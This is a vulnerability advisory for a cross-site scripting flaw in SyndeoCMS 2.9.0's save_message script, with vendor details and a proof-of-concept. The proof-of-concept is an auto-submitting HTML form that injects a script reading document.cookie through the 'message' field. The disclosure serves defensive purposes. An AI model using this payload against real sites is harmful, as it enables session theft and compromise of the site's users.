Vulnerability ID: HTB22493 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_syndeocms_2.html Product: SyndeoCMS Vendor: The SyndeoCMS team ( http://www.syndeocms.org/ ) Vulnerable Version: 2.9.0 and Probably Prior Versions Vendor Notification: 12 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the save_message script to properly sanitize user-supplied input in "message" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/starnet/index.php?option=modulemanager&module=13&modoption=save_message&suboption=&message_id=1&cat_id=4"; method="post" name="main" > <input type="hidden" name="intro_message" value="Holiday"> <input type="hidden" name="days" value="0"> <input type="hidden" name="page_id" value="4"> <input type="hidden" name="name" value="Director"> <input type="hidden" name="date" value="09-07-2010"> <input type="hidden" name="message" value='Next week is a holiday so all the children are free"><script>alert(document.cookie)</script>' > <input type="hidden" name="savebutton" value=" Save"> </form> <script> document.main.submit(); </script>
